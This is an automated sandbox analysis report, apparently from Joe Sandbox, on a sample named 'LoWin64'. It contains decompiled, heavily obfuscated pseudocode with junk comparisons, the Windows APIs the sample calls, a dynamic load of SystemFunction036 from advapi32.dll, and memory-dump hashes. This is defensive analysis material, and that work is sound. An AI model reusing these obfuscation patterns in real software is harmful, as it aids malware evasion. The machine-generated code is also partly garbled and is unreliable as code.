				_t282 = (_t279 - _t373 | 0xffffff80) + _t373;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t196 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t282);
				if (_t196 >= 0) goto 0xb1ca820e;
				_t285 = (_t282 - _t373 | 0xffffff80) + _t373;
				if (_t285 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t285);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t288 = (_t285 - _t373 | 0xffffff80) + _t373;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t288;
				 *0xb1decf60 = _t373;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t199 = r12d - 0x42;
				if (_t199 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t288);
				if (_t199 >= 0) goto 0xb1ca8274;
				_t291 = (_t288 - _t373 | 0xffffff80) + _t373;
				_t200 = _t291 - 0x2e;
				if (_t200 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t291);
				if (_t200 >= 0) goto 0xb1ca828f;
				_t160 = r15d & 0xffffff00 | (_t291 - _t373 | 0xffffff80) + _t373 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t104 = E00007FF67FF6B1D3ACF4((_t291 - _t373 | 0xffffff80) + _t373);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t160;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t160;
				 *0x6b =  *0x6b + _t104;
				_t296 = _a168 + _t373;
				_a168 = _t296;
				 *0xb1decf60 = _t296;
				_t202 = _t296 - 0x1f;
				if (_t202 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t373;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t296 =  *_t296 | _t296;
				if (_t202 >= 0) goto 0xb1ca8308;
				_t299 = (_t296 - _t373 | 0xffffff80) + _t373;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t202 != 0) goto 0xb1ca8318;
				if (_t202 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t299) & r14d) >= 0) goto 0xb1ca8333;
				_t302 = (_t299 - _t373 | 0xffffff80) + _t373;
				if (_t302 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t302) & r14d) >= 0) goto 0xb1ca835e;
				_t305 = (_t302 - _t373 | 0xffffff80) + _t373;
				if (_t305 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t305);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t308 = (_t305 - _t373 | 0xffffff80) + _t373;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t308);
				if (_t308 - 0x34 >= 0) goto 0xb1ca8397;
				_t311 = (_t308 - _t373 | 0xffffff80) + _t373;
				_t210 = _t311 - 0x1f;
				if (_t210 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t311);
				if (_t210 >= 0) goto 0xb1ca83ac;
				_t211 = (_t311 - _t373 | 0xffffff80) + _t373 - 4;
				if (_t211 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t311 - _t373 | 0xffffff80) + _t373);
				if (_t211 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t213 = r13d - 0x54;
				if (_t213 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t213 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t373;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t373;
				IsIconic(??);
				asm("adc al, 0x0");
				_t320 = 0x50 + _t373;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t320);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t323 = (_t320 - _t373 | 0xffffff80) + _t373;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t323);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t326 = (_t323 - _t373 | 0xffffff80) + _t373;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t326);
				E00007FF67FF6B1D3ACF4(_t326);
				E00007FF67FF6B1D3ACF4(_t326);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t329 = (_t326 - _t373 | 0xffffff80) + _t373;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t373;
				E00007FF67FF6B1D3ACF4(_t329);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t332 = (_t329 - _t373 | 0xffffff80) + _t373;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t332);
				E00007FF67FF6B1D3ACF4(_t332);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t335 = (_t332 - _t373 | 0xffffff80) + _t373;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t335);
				E00007FF67FF6B1D3ACF4(_t335);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t338 = (_t335 - _t373 | 0xffffff80) + _t373;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t338);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t344 = ((_t338 - _t373 | 0xffffff80) + _t373 - _t373 | 0xffffff80) + _t373;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t147 = E00007FF67FF6B1D3ACF4(_t344);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t344 - _t373 | 0xffffff80) + _t373 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t147 & r14d;
			}

0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fa9
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807d
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetWindowTextLengthW.USER32 ref: 00007FF6B1CA7F60
GetWindowTextLengthW.USER32 ref: 00007FF6B1CA8248
GetMessageTime.USER32 ref: 00007FF6B1CA825E

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: LengthTextWindow$MessageTime
String ID:
API String ID: 1053801946-0
Opcode ID: 44435db83369bb64e35c067e06156c067b9aaaf1049487d5e8b345de0df74558
Instruction ID: a0cdeda2fbe1e625d742697c48a56fd624f711fd947cdd842230cb08f1c5ec5e
Opcode Fuzzy Hash: 44435db83369bb64e35c067e06156c067b9aaaf1049487d5e8b345de0df74558
Instruction Fuzzy Hash: 19517367F3C90667E7115F2CAD491BA72A17F11709F740339D709E119ADF3CB5828648

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CC89D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExA.KERNEL32 ref: 00007FF6B1CC89F1
GetProcAddress.KERNEL32 ref: 00007FF6B1CC8A0A

Strings

SystemFunction036, xrefs: 00007FF6B1CC8A00
advapi32.dll, xrefs: 00007FF6B1CC89E8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 2574300362-1354007664
Opcode ID: 56727797e2fad925a3ac3528039dc544799738fe00761b5fb0685ac10687ab4b
Instruction ID: 953df3b3364634e82fa2053023b158cddb62cbbd0726c8c0a641b43dfb1dd97a
Opcode Fuzzy Hash: 56727797e2fad925a3ac3528039dc544799738fe00761b5fb0685ac10687ab4b
Instruction Fuzzy Hash: EF111262F15B06B1FF548B2DD45A33623A1EF55748F685930CA1D86394EF3CD892C394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7E01 Relevance: 6.2, APIs: 4, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00007FF67FF6B1CA7E01(void* __eax, void* __edi, void* __ebp, void* __eflags, void* __rdx, intOrPtr _a32, intOrPtr _a144, void* _a152, signed int _a160, signed long long _a168) {
				signed int _t113;
				void* _t135;
				signed int _t178;
				signed int _t195;
				signed int _t197;
				void* _t206;
				void* _t212;
				void* _t213;
				void* _t217;
				signed int _t235;
				void* _t246;
				void* _t249;
				void* _t250;
				void* _t252;
				void* _t260;
				void* _t261;
				void* _t263;
				void* _t275;
				void* _t278;
				void* _t281;
				void* _t284;
				void* _t292;
				void* _t295;
				void* _t302;
				void* _t305;
				void* _t308;
				void* _t311;
				void* _t314;
				void* _t317;
				void* _t320;
				void* _t323;
				void* _t326;
				void* _t329;
				void* _t332;
				void* _t335;
				void* _t338;
				void* _t341;
				void* _t344;
				void* _t347;
				void* _t350;
				void* _t353;
				void* _t356;
				void* _t359;
				void* _t362;
				void* _t365;
				void* _t368;
				signed long long _t371;
				void* _t374;
				signed long long _t379;
				void* _t382;
				void* _t385;
				void* _t388;
				void* _t391;
				void* _t394;
				void* _t403;
				void* _t406;
				void* _t409;
				void* _t412;
				void* _t415;
				void* _t418;
				void* _t421;
				void* _t427;
				void* _t432;
				signed long long _t439;
				signed long long _t451;
				void* _t454;
				signed long long _t457;
				void* _t463;

				_t278 = (_t275 - _t457 | _t451) + _t457;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t278) & r14d) >= 0) goto 0xb1ca7e25;
				_t281 = (_t278 - _t457 | _t451) + _t457;
				_t212 = _t281 - 0x30;
				if (_t212 != 0) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4(_t281);
				if (_t212 >= 0) goto 0xb1ca7e53;
				_t284 = (_t281 - _t457 | _t451) + _t457;
				_t213 = _t284 - 0x79;
				 *0xb1decf60 = _t439;
				E00007FF67FF6B1D3ACF4(_t284);
				if (_t213 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = (_t284 - _t457 | _t451) + _t457;
				E00007FF67FF6B1D3ACF4((_t284 - _t457 | _t451) + _t457);
				if (_t213 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = _t439;
				asm("adc al, 0x0");
				_t292 = 0x15 + _t457;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t292);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t295 = (_t292 - _t457 | _t451) + _t457;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t295);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t217 = (_t295 - _t457 | _t451) + _t457 - 0x65;
				if (_t217 > 0) goto 0xb1ca7f1b;
				if (_t217 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t217 >= 0) goto 0xb1ca7f07;
				_t302 = (0x00000068 - _t457 | _t451) + _t457;
				 *0xb1decf60 = _t439;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t302);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t305 = (_t302 - _t457 | _t451) + _t457;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t305) & r14d) >= 0) goto 0xb1ca7f44;
				_t308 = (_t305 - _t457 | _t451) + _t457;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t308) & r14d) >= 0) goto 0xb1ca7f59;
				_t311 = (_t308 - _t457 | _t451) + _t457;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t311) & r14d) >= 0) goto 0xb1ca7f76;
				_t314 = (_t311 - _t457 | _t451) + _t457;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t314);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t317 = (_t314 - _t457 | _t451) + _t457;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t317) & r14d) >= 0) goto 0xb1ca7fa9;
				_t320 = (_t317 - _t457 | _t451) + _t457;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t320);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t323 = (_t320 - _t457 | _t451) + _t457;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t323) & r14d) >= 0) goto 0xb1ca7fec;
				_t326 = (_t323 - _t457 | _t451) + _t457;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t326) & r14d) >= 0) goto 0xb1ca8005;
				_t329 = (_t326 - _t457 | _t451) + _t457;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t329) & r14d) >= 0) goto 0xb1ca8020;
				_t332 = (_t329 - _t457 | _t451) + _t457;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t332);
				_t235 = E00007FF67FF6B1D3ACF4(_t332) & r14d;
				if (_t235 >= 0) goto 0xb1ca8046;
				_t335 = (_t332 - _t457 | _t451) + _t457;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t235 != 0) goto 0xb1ca805e;
				if (_t235 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t457;
				E00007FF67FF6B1D3ACF4(_t335);
				if (_t235 >= 0) goto 0xb1ca807a;
				_t338 = (_t335 - _t457 | _t451) + _t457;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t338);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t341 = (_t338 - _t457 | _t451) + _t457;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t341);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t344 = (_t341 - _t457 | _t451) + _t457;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t344);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t347 = (_t344 - _t457 | _t451) + _t457;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t347);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t350 = (_t347 - _t457 | _t451) + _t457;
				_t195 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t350) & r14d) >= 0) goto 0xb1ca812d;
				_t353 = (_t350 - _t457 | _t451) + _t457;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t353) & r14d) >= 0) goto 0xb1ca8142;
				_t356 = (_t353 - _t457 | _t451) + _t457;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t113 = E00007FF67FF6B1D3ACF4(_t356);
				_t114 = _t113 & r14d;
				if ((_t113 & r14d) >= 0) goto 0xb1ca8157;
				_t359 = (_t356 - _t457 | _t451) + _t457;
				r8d = r15d;
				r8b = _t359 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d = _a32;
				r8d = _a160;
				E00007FF67FF6B1CB41F0(_t114, _t206, _t432, _a144, _t454); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t195, _t432, 0, _t359, _t463), _t206, _a144);
				 *0xb1decf60 = _t457;
				E00007FF67FF6B1D3ACF4(_t359);
				E00007FF67FF6B1D3ACF4(_t359);
				asm("push es");
				_t362 = (_t359 - _t457 | 0xffffff80) + _t457;
				asm("movsd xmm6, [0x11694a]");
				_t246 = _t362 - 5;
				if (_t246 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t362);
				if (_t246 >= 0) goto 0xb1ca81e3;
				_t365 = (_t362 - _t457 | 0xffffff80) + _t457;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t246 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t365);
				if (_t246 >= 0) goto 0xb1ca820e;
				_t368 = (_t365 - _t457 | 0xffffff80) + _t457;
				if (_t368 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t368);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t371 = (_t368 - _t457 | 0xffffff80) + _t457;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t371;
				 *0xb1decf60 = _t457;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t249 = r12d - 0x42;
				if (_t249 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t371);
				if (_t249 >= 0) goto 0xb1ca8274;
				_t374 = (_t371 - _t457 | 0xffffff80) + _t457;
				_t250 = _t374 - 0x2e;
				if (_t250 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t374);
				if (_t250 >= 0) goto 0xb1ca828f;
				_t197 = r15d & 0xffffff00 | (_t374 - _t457 | 0xffffff80) + _t457 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t135 = E00007FF67FF6B1D3ACF4((_t374 - _t457 | 0xffffff80) + _t457);
